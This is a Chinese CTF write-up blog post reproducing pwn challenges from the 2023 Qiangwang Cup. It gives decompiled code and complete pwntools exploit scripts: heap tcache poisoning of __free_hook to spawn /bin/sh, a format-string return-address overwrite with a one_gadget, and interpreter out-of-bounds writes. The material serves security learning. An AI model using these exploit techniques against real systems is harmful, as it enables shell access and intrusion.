23强网杯_pwn复现

chatting

检查保护

➜  chattting ldd chatting 
	linux-vdso.so.1 (0x00007ffc5d9b4000)
	./libm-2.27.so (0x00007fe98b400000)
	./libstdc++.so.6 (0x00007fe98ae00000)
	./libgcc_s.so.1 (0x00007fe98aa00000)
	./libc-dbg-2.27.so (0x00007fe98a600000)
	./ld-2.27.so => /lib64/ld-linux-x86-64.so.2 (0x00007fe98bb60000)
➜  chattting checksec chatting 
[*] '/home/ubuntu/CTF/PWN/titiititti/2023强网杯/chattting/chatting'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

调试发现,add之后 meseege 会给add的堆快写值,大小为content的大小,messeege相当于是个edit(个人认为),所以可以往add的堆快写较大的值free进 unsortbin 来泄露libc地址。 对了 read 也就是show,只能看第一个堆快的内容。

messeege 往 不存在的堆快发送内容会进行malloc 和 free。尝试了9次 可以分别写进tchach大小的堆快,刚好可以保留最后一个free_hook,之后再add出来,写入system

main():

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  __int64 v3; // rax
  int v4; // ebx
  __int64 v5; // rax
  size_t nbytes; // [rsp+0h] [rbp-90h] BYREF
  void *buf; // [rsp+8h] [rbp-88h]
  char choice[32]; // [rsp+10h] [rbp-80h] BYREF
  char To_usr[32]; // [rsp+30h] [rbp-60h] BYREF
  char usr[40]; // [rsp+50h] [rbp-40h] BYREF
  unsigned __int64 v12; // [rsp+78h] [rbp-18h]

  v12 = __readfsqword(0x28u);
  sub_4202(qword_211280, 0xC8uLL);
  sub_3694((__int64)&unk_211048, 0x2000u);
  sub_3694((__int64)&unk_211170, 0x2000u);
  add();
  do
  {
    std::operator<<<std::char_traits<char>>(
      &std::cout,
      "Choose action (add, delete, switch, message, read, listuser, exit): ");
    std::string::basic_string(choice);
    std::operator>><char>(&std::cin, choice);
    if ( compare((__int64)choice, (__int64)"add") )
    {
      add();
    }
    else if ( compare((__int64)choice, (__int64)"delete") )
    {
      delete();
    }
    else if ( compare((__int64)choice, (__int64)"switch") )
    {
      switch();
    }
    else if ( compare((__int64)choice, (__int64)"read") )
    {
      show();
    }
    else if ( compare((__int64)choice, (__int64)"listuser") )
    {
      listuser();
    }
    else if ( compare((__int64)choice, (__int64)"message") )
    {
      std::operator<<<std::char_traits<char>>(&std::cout, "To: ");
      std::string::basic_string(To_usr);
      std::operator>><char>(&std::cin, To_usr);
      std::operator<<<std::char_traits<char>>(&std::cout, "Message size: ");
      std::istream::operator>>(&std::cin, &nbytes);
      buf = (void *)operator new[](nbytes);
      v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Content: ");
      std::ostream::operator<<(v3, &std::flush<char,std::char_traits<char>>);
      read(0, buf, nbytes);
      std::string::basic_string(usr, To_usr);
      copy_func((__int64)usr, (__int64)buf);
      std::string::~string(usr);
      std::string::~string(To_usr);
    }
    else
    {
      if ( compare((__int64)choice, (__int64)"exit") )
      {
        v4 = 0;
        goto LABEL_18;
      }
      v5 = std::operator<<<std::char_traits<char>>(&std::cout, "Invalid action!");
      std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
    }
    v4 = 1;
LABEL_18:
    std::string::~string(choice);
  }
  while ( v4 == 1 );
  return 0LL;
}

exp:

# coding=utf-8
from pwn import *

elf = ELF("./chatting")
libc = ELF("./libc-dbg-2.27.so")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
#context.terminal=['tmux', 'splitw', '-h']

p = process(["./chatting"])

def add(username):
    p.sendlineafter(b"Choose action (add, delete, switch, message, read, listuser, exit):", b"add")
    p.sendlineafter(b"Enter new username:", str(username).encode())

def delete(username):
    p.sendlineafter(b"Choose action (add, delete, switch, message, read, listuser, exit):", b"delete")
    p.sendlineafter(b"Enter username to delete: ", str(username).encode())

def switch(username):
    p.sendlineafter("Choose action (add, delete, switch, message, read, listuser, exit):", b"switch")
    p.sendlineafter("Enter username to switch to:", str(username).encode())

def message(to, content):
    p.sendlineafter(b"Choose action (add, delete, switch, message, read, listuser, exit):", b"message")
    p.sendlineafter(b"To:", str(to).encode())
    p.sendlineafter(b"Message size:", str(len(content)).encode())
    p.sendafter(b"Content: ", content)

def read():
    p.sendlineafter(b"Choose action (add, delete, switch, message, read, listuser, exit):", b"read")

def listuser():
    p.sendlineafter(b"Choose action (add, delete, switch, message, read, listuser, exit):", b"listuser")

# gdb.attach(p,'b *$rebase(0x3071)')
# pause()

# p.sendlineafter('Enter new username: ',str('aaaa'))
# read()
# message('aaaa','1111')
# read()
# add('bbbb')
# read()
# message('bbbb','2222')
# read()
# add('cccc')
# read()
# message('cccc','3333')
# read()
# delete('bbbb')
# read()
# delete('aaaa')
# read()
# delete('cccc')
# read()

p.sendlineafter('Enter new username: ',str('aaaa'))
add("/bin/sh")

message('aaaa','1'*0x500)
message('/bin/sh','/bin/sh')
delete('aaaa')
read()
p.recvuntil('aaaa: ')
libc_base = u64(p.recv(6).ljust(0x8,'\x00')) - 0x3afca0
info("libc_base==>" + hex(libc_base))

for i in range(9):
    message('cccc', p64(libc_base + libc.sym['__free_hook']))

add('aaaa')
message('aaaa', p64(libc_base + libc.sym['system']))

delete('/bin/sh')
# gdb.attach(p)

p.interactive()

ez_fmt

只有一次格式化字符串漏洞利用

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[88]; // [rsp+0h] [rbp-60h] BYREF
  unsigned __int64 v5; // [rsp+58h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  printf("There is a gift for you %p\n", buf);
  read(0, buf, 0x30uLL);
  if ( w == 0xFFFF )
  {
    printf(buf);
    w = 0;
  }
  return 0;
}

劫持printf的返回地址,也就是说在 w 被置零之前,将返回地址(stack_addr-8)写成 start 。 这里start 地址为 0x4010B0。所以只用后面写两字节就行,然后就是劫持返回地址了。

exp:

# -*- coding: utf-8 -*-
from pwn import *
# from LibcSearcher import *
p = process("./pwn")
#p = remote("127.0.0.1",8888)
elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")
context(arch=elf.arch, os=elf.os,log_level='debug')
#context.terminal = ["tmux", "splitw", "-h"]

p.recvuntil("0x")
stack_addr = int(p.recv(12),16)
info("stack_addr==>" + hex(stack_addr))

# gdb.attach(p)
# pause()
payload = "%4272c" + '%8$hn' +"%19$p" + p64(stack_addr - 8)
p.sendline(payload)

p.recvuntil('0x')
libc_base = int(p.recv(12),16) - 0x270b3
info("libc_base==>" + hex(libc_base))

# gdb.attach(p)
# pause()

p.recvuntil("0x")
stack_addr2 = int(p.recv(12),16)
info("stack_addr2==>" + hex(stack_addr2))
ret_addr = stack_addr2 + 0x68

one_gadget = libc_base + [0xe6aee,0xe6af1,0xe6af4][1]
info("one_gadget==>" + hex(one_gadget))
ogg_high = one_gadget >> 16 &0xff
ogg_low = one_gadget & 0xffff

print(hex(ogg_high))
print(hex(ogg_low))
gdb.attach(p)
pause()

payload = '%'+str(ogg_high) + 'c%10$hhn'
payload += '%'+str(ogg_low - ogg_high) + 'c%11$hn'
payload = payload.ljust(0x20,'\x00')
payload += p64(ret_addr + 2) + p64(ret_addr)
p.sendline(payload)

p.interactive()

simpleinterpreter

exp:

# -*- coding: utf-8 -*-
from pwn import *
# from LibcSearcher import *
p = process("./pwn")
#p = remote("127.0.0.1",8888)
elf = ELF("./pwn")
libc = ELF("./libc-2.27.so")
context(arch=elf.arch, os=elf.os,log_level='debug')
#context.terminal = ["tmux", "splitw", "-h"]

code = """
int main() {
    char* p1;
    char* p2;
    p1 = malloc(0x500);
    p2 = malloc(0x10);
    free(p1);
    free(p2);
    printf("%s", p1);
    read(0, p2 ,8);
    p2 = malloc(0x10);
    p2 = malloc(0x10);
    read(0,p2,20);
    free(p2);
    return 0;
}
"""

p.sendafter("Code size:", str(len(code)))
p.sendafter(" Please give me the code to interpret: ", code)

libc.address = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 0x3ebca0
info("libc_base==>" + hex(libc.address))
free_hook = libc.sym['__free_hook']
system = libc.sym['system']

p.send(p64(free_hook - 8))
p.send('/bin/sh\x00'+p64(system))


gdb.attach(p)


p.interactive()

minipy

手动调试题目过程

先把要用的 netcat 和 gdbserver 拷贝进去:

docker cp ./tools/gdbserver 735419da8cdf:/home/ctf/ 
docker cp ./tools/netcat 735419da8cdf:/home/ctf/ 

起第一个终端,进入容器,映射要调试的程序到 8888 端口

➜  minipy docker run --privileged -it -w /home/ctf --net=host 861bb3d380d0 /bin/bash

root@cosy:/home/ctf# ls
bin  dev  flag  lib  lib64  minipy

root@cosy:/home/ctf# ./netcat -lvp 8888 -e ./minipy
Connection from 127.0.0.1:42918

起第二个终端,nc上去

➜  minipy nc 127.0.0.1 8888                                   
Welcome To Minipy!!!
Try 'help' for more information, 'exit' to quit
>>> 

起第三个终端,进入容器,gdbserver 附加进程并监听 9999 端口

➜  minipy docker exec -it -w /home/ctf 735419da8cdf /bin/bash
root@cosy:/home/ctf# ./gdbserver :9999 --attach 40
Attached; pid = 40
Listening on port 9999

起第四个终端,进入gdb调试

gdb ./minipy

target remote :9999

➜  minipy gdb ./minipy
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.2) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 156 pwndbg commands and 47 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $ida GDB functions (can be used with print/break)
Reading symbols from ./minipy...
------- tip of the day (disable with set show-tips off) -------
Use the spray command to spray memory with cyclic pattern or specified value
pwndbg> target remote :9999

exp:

# coding=utf-8
from pwn import *
 
context.log_level = 'debug'
 
r = remote("127.0.0.1", 8888)  # nc 连接远程程序
 
gdb.attach(target=("localhost", 9999), exe="./minipy", gdbscript="dir ~/Desktop/minipy\nb *$rebase(0xAD06)\nb *$rebase(0x4DA8)\nc")  # gdb 连接 docker 中的 gdbserver 调试 ./pwn
 
pause()  # 阻塞脚本直到 gdb 成功连接 gdbserver防止程序跑飞
 
libc = ELF("./libc-2.31.so")
u2d = lambda value: struct.unpack('d', p64(value))[0]
def num_to_eval(value, adjust=0):
    value = repr(u2d(value)).split('e')
    return '{}{}*pow(10,{})'.format(value[0], adjust, value[1])
 
r.sendlineafter(">>> ", "s = 'a'")
 
r.sendlineafter(">>> ", "s.substring(-0x201+0x10+0x38,0)")
r.recvuntil('"')
libc.address = u64(r.recv(6).ljust(8, '\x00')) - 0x1ecbe0
log.info("libc base: " + hex(libc.address))
r.sendlineafter(">>> ", "r=xrange(10)")
r.sendlineafter(">>> ", "a = [1]")
log.info("gets addr: " + hex(libc.sym['gets']))
r.sendlineafter(">>> ", "a.insert(-0x52c-1, {})".format(num_to_eval(libc.sym['gets'], 4)))
r.sendlineafter(">>> ", "getattr(r, 0)")
sleep(1)
r.sendline("/bin/sh")
r.sendlineafter(">>> ", "b = [1]")
r.sendlineafter(">>> ", "b.insert(-0x591-1, {})".format(num_to_eval(libc.sym['system'], 4)))
r.sendlineafter(">>> ", "getattr(r, 0)")
r.interactive()

WTOA

分析 launch.sh 可知 wtoa 是使用 wasmtime 运行的。

github 上搜索 wasmtime 找到了对应的项目。安装项目上 RADEME.md 的提示安装 wasmtime 。 11.0.1 版本

exp:

from pwn import *
 
context.log_level = 'debug'
p = process("./wasmtime run --env FLAG='flag{this_is_a_flag}' --disable-cache --allow-precompiled ./wtoa".split(' '))
 
 
def add_note(content):
    p.sendafter("Choice > ", "A")
    p.sendafter(">", str(len(content)))
    p.sendafter(">", content)
 
 
def edit_note(index, offset, length, content):
    p.sendafter("Choice > ", "E")
    p.sendafter('>', str(index))
    p.sendafter('>', str(offset))
    p.sendafter('>', str(length))
    p.sendafter('>', str(content))
 
 
def delete_note(index):
    p.sendafter("Choice > ", "D")
    p.sendafter('>', str(index))
 
 
def show_note(index, offset, length):
    p.sendafter("Choice > ", "S")
    p.sendafter('>', str(index))
    p.sendafter('>', str(offset))
    p.sendafter('>', str(length))
 
 
add_note('a' * 0x10)
add_note('b' * 0x40)
 
# gdb.attach(p, "search " + 'a' * 0x10)  # watch *(char*) addr
# gdb.attach(p, "b *(0x7ffff7bf7000+{})\nsearch {}\nc".format(hex(0x18CA), 'a' * 0x10))
# gdb.attach(p)
# pause()
 
edit_note(0, 0, 0x345231, 'a' * 0x10 + p64(0x1300000000) + p64(0x501ce800501ca8) + p64(0x1b00000000) + p64(0x501c68))
show_note(1, 0, 0x40)
 
p.interactive()
posted @ 2025-06-12 02:22  cosyQAQ  阅读(91)  评论(0)    收藏  举报